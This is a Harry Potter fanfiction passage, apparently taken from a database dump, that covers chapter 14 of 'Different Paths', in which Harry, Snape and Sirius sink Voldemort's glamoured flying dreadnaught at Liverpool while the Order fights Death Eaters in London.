&#8220;It&#8217;s too easy.&#8221;</p>\n\n<p>Sirius started thinking.&nbsp;\n&#8220;OK, that Death Eater said that this plan of Voldemort&#8217;s would place him\nin ultimate power right?&nbsp; I&#8217;m assuming\nthat would mean an end to all opposition to him as well.&nbsp; Now lets think this through.&nbsp; The destruction of London would essentially\nmean that Voldemort takes political control in Britain but it certainly\nwouldn&#8217;t mean the end of opposition to him.&#8221;</p>\n\n<p>&#8220;Because the symbol of freedom and opposition to Voldemort,\nHogwarts, will still be standing,&#8221; said Harry catching on, &#8220;But if Hogwarts\nwere to fall at the same time as London, then there will be no one left to\ncontend to Voldemort&#8217;s rule.&#8221;</p>\n\n<p>&#8220;The attack on London is a decoy!&#8221; shouted Snape, slamming his\nfist on the table.&nbsp; &#8220;While every single\nauror, hit wizard, and Order wizard battles the Dark Forces in London, the Dark\nLord himself strikes at a vulnerable Hogwarts, thus assuring his control.&#8221;&nbsp; Snape started pacing.&nbsp; &#8220;Even without Dumbledore, Hogwarts is\ngenerally the safest place in all Europe.&nbsp;\nHowever, with every single force we have pulled out for a battle in\nLondon, Hogwarts will be completely defenseless.&nbsp; Voldemort must&#8217;ve been planning this ever since the Slytherin\nRevolts got rid of Dumbledore.&#8221;</p>\n\n<p>&#8220;Can&#8217;t we warn the school?&#8221; said Harry.</p>\n\n<p>&#8220;There&#8217;s no time,&#8221; said Snape.&nbsp;\n&#8220;We need to find out where the Dark Lord is planning to strike Hogwarts\nfrom.&#8221;&nbsp; Snape spread out the map in\nfront of Harry and Sirius.&nbsp; &#8220;Aside from\nLondon there are seven other areas with Dark Magic concentrations that warrant\nthe Dark Lord&#8217;s presence: Manchester, Bristol, Edinburgh, Birmingham, Glasgow,\nLiverpool, and Plymouth.&#8221;</p>\n\n<p>&#8220;Edinburgh and Glasgow are too close to Hogwarts.&nbsp; He could be detected too easily if he\nattacks from those sites,&#8221; said Sirius.</p>\n\n<p>&#8220;That still leaves five other sites,&#8221; said Harry.</p>\n\n<p>Snape appeared to be in deep thought.&nbsp; &#8220;If the Dark Lord is going to send out the bulk of his forces to\nLondon, he&#8217;s still going to need something powerful to take out Hogwarts.&#8221;</p>\n\n<p>&#8220;Like a secret weapon?&#8221; said Sirius.&nbsp; &#8220;Even with glamours and decoy charms it would be impossible to\nhide something powerful enough to take out Hogwarts from the Ministry.&#8221;</p>\n\n<p>&#8220;Unless he&#8217;s hiding it out on open sea,&#8221; muttered Snape.&nbsp; Sirius glanced at Harry and nodded.</p>\n\n<p>&#8220;OK, that means Manchester and Birmingham are out,&#8221; said\nHarry.&nbsp; &#8220;Leaving Bristol, Liverpool, and\nPlymouth.&#8221;</p>\n\n<p>&#8220;It&#8217;s Liverpool,&#8221; said Snape.&nbsp;\nHarry and Sirius looked up.</p>\n\n<p>&#8220;Why do you say that?&#8221; said Harry.&nbsp; &#8220;Don&#8217;t tell me you&#8217;re just making this up from some kind of\nBeatles trivia.&#8221;</p>\n\n<p>&#8220;Beetles?&nbsp; What would\ninsects have to do with this?&#8221; snapped Snape.</p>\n\n<p>&#8220;Never mind, muggle thing,&#8221; said Harry with a wave of his hand,\n&#8220;although I did hear an interesting rumor once that John Lennon could&#8217;ve very\nwell been a wizard.&nbsp; But why Liverpool\nthough?&#8221;</p>\n\n<p>&#8220;I was wondering why the Dark Lord scheduled his attack for the\nnight before the Full Moon,&#8221; said Snape.&nbsp;\n&#8220;Fudge was assassinated on the night of the previous full moon, and yet\nthe Dark Lord waited a full lunar month before making his move.&nbsp; Through my experience with the Dark Lord\nhimself, I&#8217;ve learned that he likes striking on the night of the full moon\nsince that night is the night when magical powers are amplified.&#8221;&nbsp; Snape gave Harry a piercing look.&nbsp; &#8220;Care to enlighten us how you and Ronald\nWeasley journeyed to school at the beginning of your second year?&#8221;</p>\n\n<p>Harry blushed and said, &#8220;We flew a Ford Anglica to Hogwarts.&#8221;</p>\n\n<p>&#8220;You what?&#8221;&nbsp; Sirius had\na look that was clearly a combination of awe, shock, and disapproval.</p>\n\n<p>Harry brushed the topic away angrily. &nbsp;&#8220;What does that have to do with anything?&#8221;</p>\n\n<p>&#8220;Think Potter,&#8221; said Snape.&nbsp;\n&#8220;Hogwarts is unplottable and yet you, Potter, have demonstrated years\nago that the school can be approached from the air.&nbsp; That would mean that to make an attack on Hogwarts, the Dark Lord\nwould also have to attack from the air.&#8221;</p>\n\n<p>&#8220;And Bristol and Plymouth are a bit too far away for an aerial\nstrike against Hogwarts on the night of the full moon,&#8221; said Sirius.&nbsp; &#8220;It&#8217;s so simple when you think about it.&#8221;</p>\n\n<p>&#8220;Well that&#8217;s enough thinking,&#8221; said Harry.&nbsp; &#8220;Come on, we&#8217;re going to Liverpool.&#8221;</p>\n\n<p><b>To be continued...</b></p>\n\n\n\n<p>A/N OK, everybody go visit pumpkinpie.org\nnow.&nbsp; It&#8217;s a cool site, run by the H/H\nshippers of the SCUSA&#8217;s HMS Pumpkin Pie.&nbsp;\nTrust me, you&#8217;ll all love it there.&nbsp;\nNext: Voldemort&#8217;s secret weapon is finally unveiled.</p>\n\n\n\n\n\n\n'),
	(33, 14, '\n\n\n\n<p><b>Title:</b> Different Paths (14)<br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.&nbsp; H/H and D/G.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, Studio Gallop, and other publishers. No money is being\nmade and no copyright or trademark infringement is intended from them either.<br>\n<b>Author notes:&nbsp; </b>OK, I didn&#8217;t get\nnearly as enough reviews as I would&#8217;ve liked for chapter 13.&nbsp; Readers please, part of the whole reason why\nI even write fanfiction is because of the feedback I receive.&nbsp; Without the reviews, I lack the motivation\nto continue writing fanfiction.</p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>Chapter 14: Dreadnaught: HMS\nHell Bearer</b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah, here it is,&#8221; mused the Dark\nLord.&nbsp; He, Seth, Yasmin, and Horace had\njust boarded a small run down fishing ship docked on the harbor in\nLiverpool.&nbsp; It was night and the only\nsources of light were the stars and the nearly full moon.&nbsp; &#8220;This is it, my final weapon that will lead\nus to victory!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Yasmin, looked over the fishing\nship with clear disgust.&nbsp; &#8220;My lord, must\nwe advance upon Hogwarts on such a dump?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A weapon is a weapon, Yasmin,&#8221;\nsaid Horace.&nbsp; &#8220;If it does the job, than\nwho cares what it looks like?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But still, I would&#8217;ve expected\nsome thing far more magnificent, far more intimidating.&nbsp; Something that would&#8217;ve signaled to the\nworld that Lord Voldemort has indeed returned to full power!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah, but that is precisely what\nit is,&#8221; said Voldemort.&nbsp; When Yasmin\ngave him a confused glance, he continued, &#8220;You wouldn&#8217;t expect me to hide my\nweapon in plain sight would you?&nbsp; Oh no,\nthis is nothing more than a glamour hiding the true form of my weapon.&nbsp; In this way, I can dock it right here in\nLiverpool in plain sight of everyone, Muggle and wizard alike.&nbsp; No one would dare suspect what it truly is\nsince it only appears to be a fishing ship.&nbsp;\nBut here, Yasmin, let me show you what it really is.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort muttered an\nincantation, making the glamour invisible to Yasmin, thus allowing her to see\nthe fishing boat&#8217;s true form.&nbsp; Yasmin\ngasped.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Take a good look my dear,&#8221; said\nVoldemort.&nbsp; &#8220;This weapon is a symbol of\nmy power.&nbsp; This weapon is a symbol of my\nstrength, my appeal.&nbsp; This is weapon\nsymbolizes the culmination of everything I have fought and worked all these\nlong years.&nbsp; Seeing it now, this\nrepresentative of my power, do you not find me more attractive?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Yasmin glanced at the Dark Lord,\nher eyes shining with admiration and a blush staining her cheeks.&nbsp; Seeing her reaction, Voldemort&#8217;s laughter\nrang through the night.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Back in London, hidden in the\ndarkness of night, three Death Eaters scurried across Charing Cross Road.&nbsp; Looking around wearily, the Death Eaters\nducked into a nearby alley.&nbsp; The lead\nDeath Eater notified his comrades for silence and pulled out his wand.&nbsp; He muttered, <i>&#8220;Incendio,&#8221;</i> and set a\nfew of the nearby garbage cans on fire.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I do hope you realize that\narson is illegal,&#8221; said a voice from somewhere above.&nbsp; Startled, the Death Eaters looked up to see Ginny Weasley,\ndressed in her Order of the Phoenix uniform, standing on the rooftops, glaring\nat the Death Eaters.&nbsp; &#8220;But I guess you\ncan&#8217;t help yourselves since it&#8217;s a little too damp to light fires in Azkaban.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The next instant, the Death\nEaters were surrounded by about a dozen Hit Wizards and Aurors, all having\ntheir wands trained on the Death Eaters.&nbsp;\nFour Order wizards and witches had also joined Ginny on the rooftops:\nall glaring at the Dark Wizards.&nbsp;\nRealizing that they were outnumbered, the Death Eaters grudgingly\nsurrendered.</p>\n\n<p>&nbsp;</p>\n\n<p>The celebration was short lived\nhowever when another Hit Wizard arrived on the scene.&nbsp; &#8220;Twenty Death Eaters have been sighted near St. James Park!&#8221; he\nyelled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right everyone, lets go!&#8221;\nyelled Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes ma\'am!&#8221; shouted the Order\nWitches and Wizards taking off after Ginny whom was already leaping away on the\nrooftops.</p>\n\n<p>&nbsp;</p>\n\n<p>On the ground, Hermione and Ron\narrived on the scene running, just as Ginny and the Order members leapt over\nthem on the roofs.&nbsp; &#8220;Your sister&#8217;s\namazing, Ron,&#8221; gasped Hermione, trying to catch her breath.&nbsp; &#8220;I would&#8217;ve never thought she could run the\norder this well.&nbsp; Not to mention she\nseems to be getting the Order and the Ministry to cooperate perfectly.&nbsp; There&#8217;s always been so much suspicion\nbetween the two.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, they always say Weasleys\nare just big wad of surprises wrapped in red hair,&#8221; shrugged Ron.&nbsp; &#8220;Now lets go after them, I&#8217;m not about to\nlet Ginny take all the glory.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione rolled her eyes.&nbsp; &#8220;I do hope you&#8217;re more concerned about\nstopping the Death Eaters than stealing the glory from Ginny.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well of course that&#8217;s my main\nconcern.&nbsp; What kind of person do you\ntake me for?&#8221; snapped Ron rather heatedly.&nbsp;\nHermione took off after the Order before another bickering fest could\ntake place between them.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Seen anything yet?&#8221; Flame\nasked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No nothing,&#8221; said\nCassandra.&nbsp; The Elite Ten were hidden on\nthe top of Big Ben, looking out over the rest of the city.&nbsp; &#8220;No fire, no smoke, no light, not even a\nbloody flare.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Typical Death Eaters,&#8221; drawled\nGrindelwald from his leaning position behind the others.&nbsp; &#8220;Can&#8217;t even burn a city down.&nbsp; Well, I suppose we should lend them a hand.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What for?&nbsp; Our Death Eaters can do the job perfectly\nwithout our help,&#8221; said Icicle.&nbsp; &#8220;Don&#8217;t\nyou agree with me Angelus?&#8221;&nbsp; Angelus\nsaid nothing and remained in a meditative posture.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, I&#8217;m with Grindelwald on\nthis,&#8221; said Cassandra.&nbsp; &#8220;The flames\nshould&#8217;ve started long ago.&nbsp; We should\ncheck it out.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>St. James Park was a virtual war\nzone.&nbsp; While the Aurors were holding the\nDementors at bay with patronuses, Hit Wizards and Death Eaters were firing\ncurses at each other.&nbsp; However, as the\nranks of the Hit wizards and Aurors was augmented by the arrival of more and\nmore Order Members, it became clear that there was no way the Death Eaters\ncould stand their ground.</p>\n\n<p>&nbsp;</p>\n\n<p>Two cowardly Death Eaters\ndecided that the odds were too great against them and decided to make a run for\nit.&nbsp; However, as soon as they turned\naround, they ran straight into Cassandra Frost.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Going somewhere boys?&#8221; said\nCassandra coldly.&nbsp; She ripped off their\nmasks and gave both of them full kisses on the lips.&nbsp; Within seconds, both Death Eaters were having seizures and were\nclearly heading toward an early grave.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Anybody else want to have a\nkiss?&#8221; said Cassandra.&nbsp; After that,\nabsolutely none of the Death eaters even considered running.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right everyone, round them\nall up!&#8221; shouted Ginny from atop the roof of a nearby convenience store.&nbsp; The Order members, Aurors, and Hit Wizards\nall gave cheers and redoubled their efforts against the Dark Forces.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bloody Hell,&#8221; muttered Ron as\nhe observed his sister directing the army of wizards.&nbsp; Apparently he was having a hard time adjusting to the fact that\nhis baby sister was now a powerful witch taking control of a complete war zone.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;She&#8217;s incredible,&#8221; said\nHermione.&nbsp; <i>&#8216;It&#8217;s so amazing to think\nthat this was once the little girl who always became a klutz whenever Harry\njust glanced at her,&#8217;</i> she thought.&nbsp; <i>&#8216;And\nnow, here she is taking control and earning the respect and admiration of\neveryone on our side.&nbsp; I don&#8217;t think I\ncould run things this well if I were in her shoes.&#8217;</i>&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione glanced up at Ginny,\nher eyes filled with admiration.&nbsp;\nHowever, her face soon changed to a look of horror.&nbsp; &#8220;Ginny!&nbsp;\nBehind you!&#8221; she screamed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;&nbsp; Ginny spun around, only to face the tall\nform of Grindelwald, holding a dagger over her head.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, well, well.&nbsp; And to think that our plans were being\nspoiled by a little girl,&#8221; said Grindelwald.&nbsp;\n&#8220;Well, just for that, I guess I need to teach you a lesson.&#8221;&nbsp; Before Ginny could react, Grindelwald swung\nthe dagger down.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>A Horseless carriage stopped on\nLiverpool Harbor and three figures strode out.&nbsp;\nAll three of them had raven black hair but one had greasy hair, one had\nshaggy long hair, and the third had messy hair that needed serious combing.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius Black glanced around the\ndock and the various fishing boats moored there.&nbsp; &#8220;OK, now where is this secret weapon of Voldemort&#8217;s?&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You fool,&#8221; hissed Snape.&nbsp; &#8220;You really thought the Dark Lord would\nleave it in plain sight?&nbsp; He&#8217;s probably\ndisguised it with a glamour and hiding right in front of our eyes!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Look, lets just find it, OK?&#8221;\nsaid Harry.&nbsp; &#8220;You two can finish your\nargument la...&#8221; Harry abruptly stopped speaking when he heard the Dark Lord&#8217;s\nlaughter.&nbsp; The next thing the three saw,\nabsolutely shocked and surprised them.</p>\n\n<p>&nbsp;</p>\n\n<p>A run down fishing ship about\nfifty feet out on bay disappeared and in it&#8217;s place appeared a true\nmonstrosity.&nbsp; 500 feet long, 90 feet\nhigh, and 30 feet wide, it was a black battleship, loaded to the core with\nArmaments consisting of turrets, cannons, machine guns, and torpedo tubes, all\nof them at least a foot wide.&nbsp; Anybody\nwith a decent knowledge of muggle history would&#8217;ve instantly recognized it as a\npre-World War I Nassau class German Dreadnaught, the pride and strength of the\nGerman Imperial Navy during the early twentieth century.&nbsp; Written on the brow of the armored\npowerhouse was the name <i>&#8220;HMS Hell Bearer&#8221;</i>.</p>\n\n<p>&nbsp;</p>\n\n<p>From the bridge of the ship rang\nthe laughter of the Dark Lord.&nbsp; &#8220;Well,\nwell, well, come to wish me bon voyage have you Harry Potter?&#8221; said\nVoldemort.&nbsp; &#8220;Hmm, three wizards, Severus\nSnape, Harry Potter, and Sirius Black.&nbsp;\nWell, I suppose we can&#8217;t disappoint our guests.&#8221;&nbsp; Voldemort raised his arms and started\nchanting.&nbsp; A pale violet light\nsurrounded Voldemort&#8217;s hands and the ship.&nbsp;\nSlowly, the dreadnaught started levitating into the air.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A Flying battleship,&#8221; said\nSnape.&nbsp; &#8220;Now I&#8217;ve seen everything.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh come on, its not that\nfarfetched.&nbsp; Just a whole lot of\nlevitating charms,&#8221; said Sirius.&nbsp; &#8220;In\nfact, on a slightly smaller scale it might be useful for the perfect prank.&nbsp; Why didn&#8217;t I think of this years ago?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thank goodness you didn&#8217;t\nconsidering I would&#8217;ve probably ended up the brunt of that prank,&#8221; muttered\nSnape.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It appears that our enemies our\nstunned, my Lord,&#8221; said Horace.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then lets add to their\nperplexity,&#8221; said Voldemort.&nbsp; The Dark\nLord waved his wand, causing five of the cannons to point straight at Harry,\nSirius, and Snape.&nbsp; With a shout from\nVoldemort the cannons fired a volley of high-powered magical blasts.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Barrier!&#8221; screamed Harry.&nbsp; He, Sirius, and Snape instantly conjured a\nmagical barrier, that just barely managed deflect the magical blast toward the\nbay, saving the city of Liverpool.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That was close,&#8221; said\nHarry.&nbsp; &#8220;Too close.&nbsp; We need to take out that ship now!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well I&#8217;m your man, because I&#8217;ve\ngot the perfect product,&#8221; said Sirius.&nbsp;\nHe pulled out what looked like a firecracker.&nbsp; &#8220;In my hand I&#8217;ve got what looks like an ordinary Filibuster\nWet-Start Firecracker.&nbsp; However, in\ntruth it is actually newly invented Wet-Start Dynamite, still experimental,\nonly for Aurors.&nbsp; Now, here&#8217;s the plan:\nyou two get on that ship and distract the bad guys while I&#8217;ll swim over to the\nship, use some sea water to light the dynamite, and blow the ship up.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Snape snorted.&nbsp; &#8220;Black, I was one who always said you lacked\nhalf a brain but it looks like I was wrong: you lack a full brain.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&nbsp; What the bloody hell do you mean by that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry sighed obviously\nexasperated.&nbsp; &#8220;Sirius, if that dynamite\nis part of the Wet-Start brand, you&#8217;ll blow yourself up when you&#8217;re swimming,\nnot the ship.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh,&#8221; said Sirius taken\naback.&nbsp; &#8220;Well, I&#8217;ll get the dynamite\nonto the ship without getting it wet then.&nbsp;\nJust go!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I can&#8217;t believe I&#8217;m agreeing to\nfollow your ludicrous plan,&#8221; muttered Snape.&nbsp;\nHe still apparated himself and Harry to the dock of the dreadnaught\nhowever.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Voldemort!&#8221; yelled Harry.&nbsp; &#8220;Come out here now!&nbsp; Come out here and face me!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now, now Harry.&nbsp; All in good time,&#8221; said Voldemort strolling\nout onto the outer deck.&nbsp; &#8220;In my years I\nhave learned that patience is a trait well valued.&nbsp; It would do you some good to learn some yourself.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right Voldemort, get down\nhere now and fight me, or are you too frightened?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You dare speak to our Lord that\nway,&#8221; yelled Yasmin.&nbsp; The Dark Lord\nsilenced her however.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harsh words, Potter,&#8221; said\nVoldemort.&nbsp; &#8220;It does make me wonder if\nyou actually have the power to back them up now.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Indeed,&#8221; said Horace.&nbsp; &#8220;There is something I am curios about\nthough.&nbsp; Three arrived on the dock yet\nonly two stand here on the ship.&nbsp; Now whatever\nhappened to the third?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What indeed?&#8221; said\nVoldemort.&nbsp; &#8220;Perhaps these two are a\ndecoy, hoping to distract us while the third sabotages the ship?&nbsp; If so, then where is that third one\nnow?&nbsp; Maybe, still, out on the\nwater?!&#8221;&nbsp; Voldemort swished his wand\ncausing one of the machine guns to point out over the water where Sirius was\nusing an anti-sinking charm to run on the water as if it were solid ground.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No!&#8221; shouted Harry.&nbsp; &#8220;Sirius!&nbsp;\nLook Out!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s warning came a little\ntoo late.&nbsp; With a command from Voldmort,\nthe machine gun started firing rounds.&nbsp;\nWhether those rounds were collected pieces of magical blasts or real\nbullets, Harry couldn&#8217;t tell.&nbsp; All he\nknew was that there was no way Sirius could dodge the rounds.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius didn&#8217;t have to dodge them\nhowever.&nbsp; With lightning fast reflexes,\nSirius crouched down and sent a searing burst of magical energy through his fingers\ninto the surface of the water.&nbsp; With a\nloud explosion, the water burst upward, surrounding Sirius in a protective\ncurtain of water.&nbsp; The curtain absorbed\nthe rounds with no harm to Sirius at all.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; exclaimed Voldemort, his\neyes wide.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That was Angelus&#8217;s\nDouble-Neutral Spell!&nbsp; How did Black use\nit?&#8221; exclaimed Horace.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius didn&#8217;t hesitate for a\nsecond.&nbsp; He hurriedly lighted the\nWet-Start Dynamite with the curtain of water surrounding him and tossed it at\nthe hull of the dreadnaught.&nbsp; The dynamite\nexploded on contacted, causing the battleship to fall back onto the water and\nimmediately start sinking.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;Whoa, that stuff was\nstronger than I thought.&nbsp; I probably\nshouldn&#8217;t be using that stuff any more,&#8217;</i> thought Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, no, no, no, NO, NO!&nbsp; NO!&nbsp;\nNO!&#8221;&nbsp; Voldemort looked absolutely\nfurious.&nbsp; &#8220;Damn you!&nbsp; Damn you three!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My Lord, we must retreat,&#8221; said\nHorace.&nbsp; &#8220;There is nothing we can do\nhere now.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There was something I could&#8217;ve\ndone here,&#8221; hissed Voldemort.&nbsp; &#8220;This is\nfailure is my fault, for underestimating these three.&nbsp; This mistake is my mistake I made in my own pride.&nbsp; And believe me, this will be the last\nmistake I will ever make.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Your plan&#8217;s failed, Voldemort,&#8221;\nshouted Harry.&nbsp; There is no way you can\nattack Hogwarts now and I&#8217;m sure London&#8217;s safe as well.&nbsp; You lose this round.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>At that moment, Seth Soran\nshowed up from behind Voldemort.&nbsp; &#8220;Such\ncockiness.&nbsp; Such brash.&nbsp; Mr. Potter seems to have gained another edge\nof confidence has he not?&#8221; he said.&nbsp;\nSilently he pulled out his wand.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry looked up and exclaimed,\n&#8220;Seth!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mr. Potter.&nbsp; It looks like tonight will be the night we\ncomplete the duel we started in Graypine.&nbsp;\nDo you not agree?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh I agree all right,&#8221; said\nHarry pulling out his wand.&nbsp; &#8220;Come on\nSeth, let&#8217;s finish it right now!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Seth was about leap down to the\ndeck when Voldemort said, &#8220;Unfortunately Seth, I do not agree.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mr. Voldemort?&#8221; said Seth\nlooking a little confused.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now is not the time,&#8221; said\nVoldemort.&nbsp; &#8220;It appears that if I am to\ntake Britain and Europe, I must first take care of Harry Potter once and for\nall before I can move to my continental agenda.&#8221;&nbsp; Voldemort stared at Harry and Snape again and started speaking in\na loud voice, &#8220;Harry Potter, Severus Snape, Sirius Black, listen to me\nnow!&nbsp; Early in the morning on the day\nafter tomorrow I want the three of you to show up at my lair at the Tower of\nLondon.&nbsp; There you shall face my Elite\nTen one by one until you shall finally face me where we shall end this war with\nfinality.&nbsp; I will only lift the magical\nguards surrounding my lair for the three of you.&nbsp; If you show up with any more wizards, you will not find me\nthere.&nbsp; If you don&#8217;t come on the day\nafter tomorrow you won&#8217;t find me there.&nbsp;\nI want you to understand that this will be the last chance any of you\nget to face me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmm, 10 against 3?&nbsp; Comforting odds,&#8221; said Snape.&nbsp; &#8220;Still I agree with the terms.&nbsp; You will see me there on the day after\ntomorrow.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Same with me,&#8221; said Harry.&nbsp; &#8220;And I&#8217;m positive that I speak for Sirius as\nwell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Very well,&#8221; said Voldemort.&nbsp; &#8220;Than, we had better see you again on the\nday after tomorrow.&nbsp; And trust me, this\ntime I won&#8217;t be underestimating you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well if that&#8217;s the case, I\nguess we&#8217;ll finish our little duel on the day after tomorrow,&#8221; said Seth.&nbsp; &#8220;Until then, please take care.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Lets go,&#8221; said the Dark\nLord.&nbsp; Horace seemed like he wanted to\nsay something but had apparently decided to keep his mouth shut.&nbsp; With a flourish, Voldemort, Yasmin, Horace,\nand Seth disapparated, leaving the dreadnaught behind to sink into the bay.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, that&#8217;s a relief,&#8221; said\nHarry.<br>\n<br><br></p>\n\n<p>&#8220;So, now that we&#8217;ve bought a\nlittle time, what do you plan to do?&#8221; asked Snape.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was about to say something\nwhen Sirius suddenly leapt onto the deck, looking like he had just taken a swim\nin the sea, which he had most likely had done.&nbsp;\nHe wiped away his wet hair and shouted, &#8220;All right, Sirius Black is\nhere!&nbsp; Now, where&#8217;s Voldemort!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Both Harry and Snape sighed.</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N Ah, that was a rather\ninteresting chapter to write.&nbsp;\nPersonally, I&#8217;m hoping that everybody can visualize what&#8217;s happening in\nthis chapter clearly because it&#8217;s a lot better if you can see it in your\nimagination.&nbsp; Next: H/H shippers\nrejoice: it&#8217;s the chapter you have all been 